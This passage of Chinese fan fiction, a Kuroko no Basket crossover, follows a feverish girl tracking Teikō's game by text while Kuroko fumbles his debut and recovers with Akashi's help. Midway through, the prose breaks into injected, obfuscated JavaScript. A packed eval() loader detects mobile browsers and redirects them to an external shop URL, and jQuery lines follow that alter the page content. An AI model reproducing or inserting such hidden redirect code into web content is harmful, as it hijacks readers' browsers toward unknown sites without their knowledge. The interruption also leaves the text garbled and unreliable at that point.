【9:20AM｜第一节结束】
手机持续震动着，桃井的简讯一条接一条，像潮水般涌来：「绿间三记三分啦！手感超棒！」「紫原篮板碾压，对手根本抢不到球！」「青峰突破无人可挡，又扣了一个！」「分差已经拉开到20分了，帝光稳赢！」「黑子君上场然后摔倒了……九秒钟，太可爱了怎么办。」
理穗一条条读着，指尖的温度似乎又升高了几分，不是发烧带来的灼热，而是一种难以言喻的焦灼。她本该站在场边，指尖握着笔，飞快记录下每一次攻防转换，记录每个人身体的状态和成长，捕捉赤司传球前那零点几秒的眼神变化，观察黑子如何借着稀薄的存在感扰乱对手的防守，甚至在暂停时，递上一瓶水，说一句“大家辛苦了”。
而不是像现在这样，躺在这里，浑身无力，像一滩无用的软泥，只能通过冰冷的文字，感受远方赛场的喧嚣。
“真想去……想去现场……”她无意识地说出声，声音带着几分哽咽。
“不行！绝对不行！”三只小妖听到同时喊道，连连摇头，语气坚定得不容反驳。
鸦天狗展开翅膀，挡在床边，做出“禁止通行”的姿态，夜樱貉语气带着几分担忧：“理穗，你现在的灵力波动太不稳定了，高烧还没退，出门的话，不仅会加重病情，还可能吸引那些不安分的妖物，太危险了。”
“可是比赛……难得的一年级的首秀……”
“比赛有那些人就够了。”豆狸难得严肃起来，用小爪子轻轻拍了拍理穗的手背，“你现在最需要的是休息，等你好了，再去帮他们，再去看他们比赛，到时候，他们一定会给你打一场更精彩的！”
理穗咬住下唇，眼底泛起一层水雾，终究还是点了点头。她知道，妖怪们说得对，她不能再添乱了。
手机又震了，这次不是桃井，而是赤司。
赤司：「黑子第二节会上场。我会让他打7-8分钟。」
简短，直接，带着他一贯的沉稳语气，却又藏着一丝不易察觉的温柔，像是命令，又像是……特意分享给她的小秘密。他知道她也在意黑子的首秀表现，知道她即使不在场，也想让她知道每一个细节。
理穗盯着这行字，鼻尖一酸，指尖飞快打字：
「他的跑位习惯是左路切入更自然，右路会慢0.3秒左右。」「要注意传球接球的力度和时机，一军和三军的队友配合是有区别的。」
发送。停顿两秒，又飞快补上一句：「比赛加油，阿征，别担心。」指尖轻轻按在发送键上，耳尖悄悄发烫。
【9:35AM｜第二节中段】
【赛场】
裁判的哨声再次响起，声音清晰有力：“帝光换人！15号黑子哲也，换下4号虹村修造！”
观众席瞬间掀起一阵骚动，议论声此起彼伏，许多人甚至要眯起眼睛，才能看清那个从替补席站起身的淡蓝色身影。他太不起眼了，身形单薄，眉眼平淡，仿佛随时都会融入背景里。
比赛开始。
赤司控球过半场，对方的防守阵型散乱，内线有空档。他眼角余光扫到黑子正在底线附近游走。那个位置很聪明，刚好处于防守者的视野盲区。
赤司击地传球，球穿过两名防守球员之间的缝隙，精准地弹到黑子手中。
然后，黑子接球脱手了。
巨大的反弹力使球从他的指尖滑出去，弹在地上，被对方后卫一把抄走。
快攻得分。
赤司皱了下眉。
“喂，15号！黑子！”绿间在三分线外喊了一声，“你在干什么？那种球都接不住？”
“……抱歉。”黑子低下头，看了看自己的双手，感到不解。
青峰跑过来，拍了拍黑子的后背：“没事没事，下一个接住就行。”
赤司没有说什么。他回到后场，再次组织进攻。
这一次，他传给黑子的球更柔和了一些，速度降了半档。黑子双手迎球，接住了，但球的力道似乎还是超出了他的预期，球在掌心顿了一下，差点又弹出去。黑子勉强稳住，想要传给空切的青峰，但调整的时间太长，传球路线被对方识破，球被截断了。
又是失误。
“搞什么！”灰崎直接炸了，“你接个球都接不住，还打什么篮球比赛啊？三军都不至于这样！”
黑子没有说话，只是低着头跑回防守位置。
助理教练的脸色已经沉了下来。他双手抱胸，嘴唇抿成一条线。
赤司看着黑子的背影，瞳孔微微收缩，想起理穗的提醒。
是不对劲。
黑子他在二军和三军的练习赛中接过无数次传球，从来没有出现过这种接球不稳的情况。是紧张？还是……
“赤司。”教练的声音从身后传来，冷得像刀片，“再失误一次，就换人。”
赤司没有回头，只是微微点了下头。
第三次进攻。
这次赤司没有传给黑子。他一个变向过掉防守人，突入内线，吸引包夹后分球给外线的绿间。绿间三分出手命中。
但黑子的跑位依然精准。他在弱侧悄悄移动，始终处在防守者最难受的位置上。赤司能看见那些空隙，也能看见黑子每一次都出现在了正确的地点。
球商和比赛意识没有问题，但是反应……，球到他手里的时候，总会出问题。
第四次。
赤司决定再试一次。他在弧顶持球，黑子从底线借掩护兜出来，防守者被紫原的无球掩护挡了一下，黑子获得了半个身位的空档。赤司传球，球速不快，路线清晰。
黑子伸出双手。接到球然后送了出去，但是球却还没到青峰手里就半途……又掉了。
这一次，球直接滚出了边线。
“……”
体育馆里安静了一瞬。
然后，助理教练的声音从板凳席炸开：“换人！”
他已经冲到场边，冲着黑子怒吼：“你是来打篮球的还是来搞笑的？三次了！三次接球失误！传球也软趴趴的，你手是抹了黄油吗？！”
绿间推了推眼镜，冷冷地说：“或许他更适合去排球部，至少接不住球可以用手腕垫。”
“绿间，你少说两句。”青峰挡在黑子面前，但语气里也透着一股无奈。
黑子站在原地，双手垂在身体两侧。他的表情依然是那种让人捉摸不透的平静，但赤司注意到，他的指尖在微微发抖。
果然，旁观者清，赤司的眉头皱起又松开。暗暗叹了一口气。
教练走到场边，脸色铁青：“黑子，下来。你这种表现，连三军的水准都不够。我会跟白金教练商量，把你退回三军重新训练。”
黑子没有反驳，只是低声说了句“是”，然后转身往场下走。
“等一下。”赤司开口了。
他的声音不大，但所有人都停了下来。
赤司从球场中央走向教练，步伐不紧不慢。他的表情依然是那种让人无法捉摸的从容，但眼神里有一种冷静到近乎冷酷的确信。
“教练，请再给他一次机会。”
教练看着赤司，眉头紧锁：“赤司，你应该看得出来，他连基本的接球都做不到。现在在比赛，我们没有时间等他慢慢适应。”
“那不是他的真实水平。”赤司的目光越过教练，落在停住的黑子身上，“他在二军的训练赛中，接球成功率是百分之百。刚才的三次失误，不是能力问题。”
“教练，拜托了，让黑子再试试吧，丢的分数我一定会抢回来的。”青峰也在旁边应和。
“好，最后一次机会，如果做不到就直接离开篮球部吧！”看到赤司如此坚定，助理教练松口给黑子最后一次机会，但也是最后通牒。
赤司在场上，目光投向走向记录台的黑子。他虽然极力假装镇定，但他交握的手指却骗不了赤司，已经收紧到指尖泛白了。
赤司接过发球，稳步推进过半场，赤色的眼眸快速扫过全场，精准捕捉到黑子的动作。果然，在左路，和理穗说的一样，左路切入更自然。
“黑子”
“是，赤司君。”
“一军和二军三军是有区别的，你要注意接球传球的力气和速度，要更快更有力才行。”说着把球传给黑子让他仔细感受球的力度和速度。
【理穗家】
理穗的手机疯狂震动着，屏幕亮个不停，桃井的简讯几乎要刷屏：「黑子君上场了！终于上场了！」「终于成功了！太厉害啦！」「助攻青峰君暴扣！全场都沸腾了！」「观众都在问15号是谁，在哪里，我好骄傲呀！」「黑子君的存在感真的好低，对手和观众都没发现他！」
紧接着，几张照片发了过来。照片有些模糊，是桃井匆忙间拍下的，却能清晰看清轮廓——青峰笑着揉乱黑子的蓝发，少年微微垂着头，耳尖泛红；赤司站在不远处，侧脸线条干净利落，嘴角勾起一丝几乎看不见的弧度，眼底藏着不易察觉的赞许。
理穗一张张划过照片，指尖轻轻抚摸着屏幕上黑子的身影，体温似乎不再那么灼人了，心底的焦灼，也渐渐被欣慰取代。
她又点开和赤司的对话框，最后一条还是她发的，赤司没有回复。
但不需要回复。那个完美的配合，那个精准的传球，就是最好的回答。
“加油啊”理穗喃喃自语，一种交织着欣慰、遗憾、骄傲的复杂情绪。欣慰于黑子的成功，遗憾于自己没能亲临现场，骄傲于那些少年们从未让她失望。
还有心底那抹无法言说的失落，毕竟，首秀只有一次，错过了，就再也回不来了。
豆狸用小爪子轻轻拍着她的背，语气温柔：“理穗不哭，等你好了，让他们再打一次给你看，好不好？”
“不一样的。”理穗轻轻摇头，声音哽咽，“首秀只有一次……就像樱花凋谢，就像夏天的烟火，就像少年在球场上第一次证明自己的存在，错过了，就再也找不回来了。”
【10:15AM｜终场前2分钟】
【赛场】
比分牌上的数字格外刺眼：110比68。
比赛早已失去悬念，帝光的优势碾压全场，替补队员们已经上场，开始打垃圾时间，主力队员们则坐在替补席上休息。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530716|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
赤司坐在替补席的最外侧，一条白色毛巾搭在肩上，指尖轻轻擦拭着额角的汗水，目光平静地看着场上，神色依旧沉稳，没有丝毫松懈。
黑子坐在他旁边，呼吸已经渐渐平稳下来，脸上褪去了之前的紧张，只是指尖还微微泛着白，显然还没完全放松适应赛场的节奏。
“5次助攻，1次失误，”赤司开口，没有看黑子，语气平淡，却带着肯定，“对于首秀，合格了。”
黑子沉默了几秒，转过头，看向赤司，蓝色的眼眸里带着几分认真，声音轻轻的：“谢谢赤司君。”
“谢我什么？”赤司侧过头，赤色的眼眸落在他脸上，带着几分探究。
“给我上场的机会。还有……刚才的传球。”黑子想起上场时发生的窘迫，脸又止不住的滚烫，他知道，那个最后的传球，是赤司特意为他创造的。
赤司的目光柔和了几分，转回视线，看向记分牌：“是你自己抓住了机会。但失误的那次，是判断错误，对方已经看穿你的跑位路线，下次要学会随机应变。还有影子要隐藏的更深才行。”
“是，我记住了。”黑子用力点头，眼底闪过一丝坚定。“还有，”黑子顿了顿，“桃井说藤原发烧请假了。”黑子愣了一下，蓝色的眼眸里闪过一丝担忧：“藤原同学她……严重吗？”
“不清楚，”赤司看了眼手机，心里止不住的担心。屏幕依旧暗着，没有新消息，语气里带着一丝不易察觉的牵挂，“应该有在好好休息。”
他站起身，整理了一下球衣，走向更衣室：“我去换衣服。”
“赤司君。”黑子忽然叫住他，声音很轻，却格外清晰。
赤司停步，没有回头，只淡淡道：“说。”
“请代我向藤同学原问好，”黑子的声音带着几分真诚，“也谢谢她……之前的建议。”
赤司的指尖在门把手上轻轻顿了一下，嘴角勾起一丝极淡的弧度，声音低沉：“有时间自己说吧。”
说完，他推门走进更衣室，没有回头。他知道，那个内向的少年，总会鼓起勇气，亲自向理穗表达感谢。
【理穗家】
理穗的手机屏幕暗了又亮，亮了又暗，她的指尖反复摩挲着屏幕边缘，心里既期待又忐忑。
最后，她停在和赤司的对话框，光标在输入框里闪烁了许久。她想问“比赛结束了吗”，想问“黑子表现得怎么样”，想问“大家有没有受伤”，想说“我好点了，也许明天就能去学校”，可千言万语，最终只敲下三个字：「赢了吗？」
发送。
几乎是立刻，手机震动了一下，赤司的回复简洁明了：「嗯。」
紧接着，一张照片发了过来。更衣室的背景里，记分牌的特写清晰可见：112比71，帝光完胜。
又一张照片，是技术统计表的一角，15号黑子哲也的名字旁边，助攻数赫然写着5，失误数1，数据干净而亮眼。
理穗盯着那张照片，眼泪毫无预兆地掉下来，可她却笑了，嘴角弯起的弧度里，藏着满满的骄傲和释然，一边笑一边哽咽：“笨蛋……发这个过来干嘛……我又不是不知道你们会赢……”
话虽如此，她还是小心翼翼地保存了照片，一遍又一遍地翻看，指尖轻轻抚摸着屏幕上的数字，仿佛能感受到那些少年们在赛场上的热血与荣光。
窗外阳光正好，五月中旬的风带着初夏的温柔，透过薄帘吹进来，拂动着理穗的碎发。
比赛也结束了啊。
她错过了现场，错过了那些欢呼与呐喊，错过了少年们并肩作战的热血时刻，也错过了赤司、黑子第一次在赛场上证明自己的瞬间。
但她透过冰冷的文字，模糊的照片，简短的对话，她好像还是参与其中了，好像依旧站在他们身边，和他们一起，期待着每一次进球，每一次胜利。
豆狸趴在她枕边，已经睡着了，发出轻微的呼噜声，圆滚滚的身子蜷缩在一起，格外可爱。
鸦天狗在窗边打盹，翅膀轻轻搭在窗沿上，漆黑的羽毛在阳光下泛着光泽。
夜樱貉守在理穗的床前，心疼地看着理穗，说“别担心，桔梗塚听说东边的森林里有一种神奇的花，对安抚灵力很有效，已经去找了，你很快就会好起来的。”
“嗯，谢谢夜樱貉，谢谢桔梗塚，谢谢豆狸，谢谢鸦天狗，这次要不是你们，我真不知道该怎么办了，太感谢了。”理穗感激的说。
“能帮到你，我们其实很开心，理穗，不要有负担。”夜樱貉安慰说。“等你好了，大家一起再聚会吧。”
吃过退烧药，理穗把手机紧紧抱在胸口，感受着那一点点微弱的震动。那仿佛是远方赛场传来的回响，是少年们奔跑的声音，是篮球撞击地板的沉稳节奏，是网翻起时清脆的声响，是他们胜利的欢呼，是藏在细节里的牵挂。
她闭上眼，退烧药带来的昏沉睡意渐渐袭来，意识渐渐模糊。
梦见胜利的哨声吹响，全场的欢呼声浪席卷而来，她在人群中，稳稳写下最后一个数据，嘴角扬起满满的笑意。
在昏沉的睡梦中，她做了一个温暖的梦。